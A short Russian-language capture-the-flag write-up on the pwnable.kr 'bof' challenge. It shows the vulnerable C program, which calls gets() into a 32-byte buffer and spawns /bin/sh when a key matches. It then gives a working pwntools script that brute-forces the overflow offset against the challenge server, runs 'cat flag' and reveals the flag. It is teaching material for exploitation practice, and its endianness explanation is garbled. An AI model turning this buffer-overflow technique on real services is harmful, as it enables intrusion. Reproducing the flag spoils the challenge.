Привет!

Сегодня пробую BOF Challenge от pwnable.kr

Исходный код: -

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

На первый взгляд мы видим, что используется метод gets (), что небезопасно, а размер буфера равен 32, а после этого выполняется ключевое сравнение с 0xcafebabe, которое является постоянным во всех случаях.

Поэтому я быстро написал этот скрипт на Python, используя pwntools, чтобы автоматически найти смещение и даже прочитать флаг.

from pwn import *
key=p32(0xcafebabe)
print "Brute-Force for the value starts"
for i in range (32,100):
        sock=remote('pwnable.kr',9000)
        sock.sendline('A' * i + key)
        print "current offset",i
        res = sock.recv(4096,timeout=1)
        if(res==""):
         print "FOUND OFFSET", i
         sock.sendline("cat flag")
         sock.interactive()
         break 
        else:
         sock.close()

key=p32(0xcafebabe), потому что в новых системах порядок байтов порядковый.

Он в основном создает соединение с pwnable.kr:9000, а затем начинает отправлять A от 32 до 100 раз, как только res не получает ввода, т.е. оболочка была создана, она передает cat flag, что является: -

daddy, I just pwned a buFFer :)

и переключение оболочки interactive().

Коды на: - https://github.com/Coding-Karma/Exploit-Dev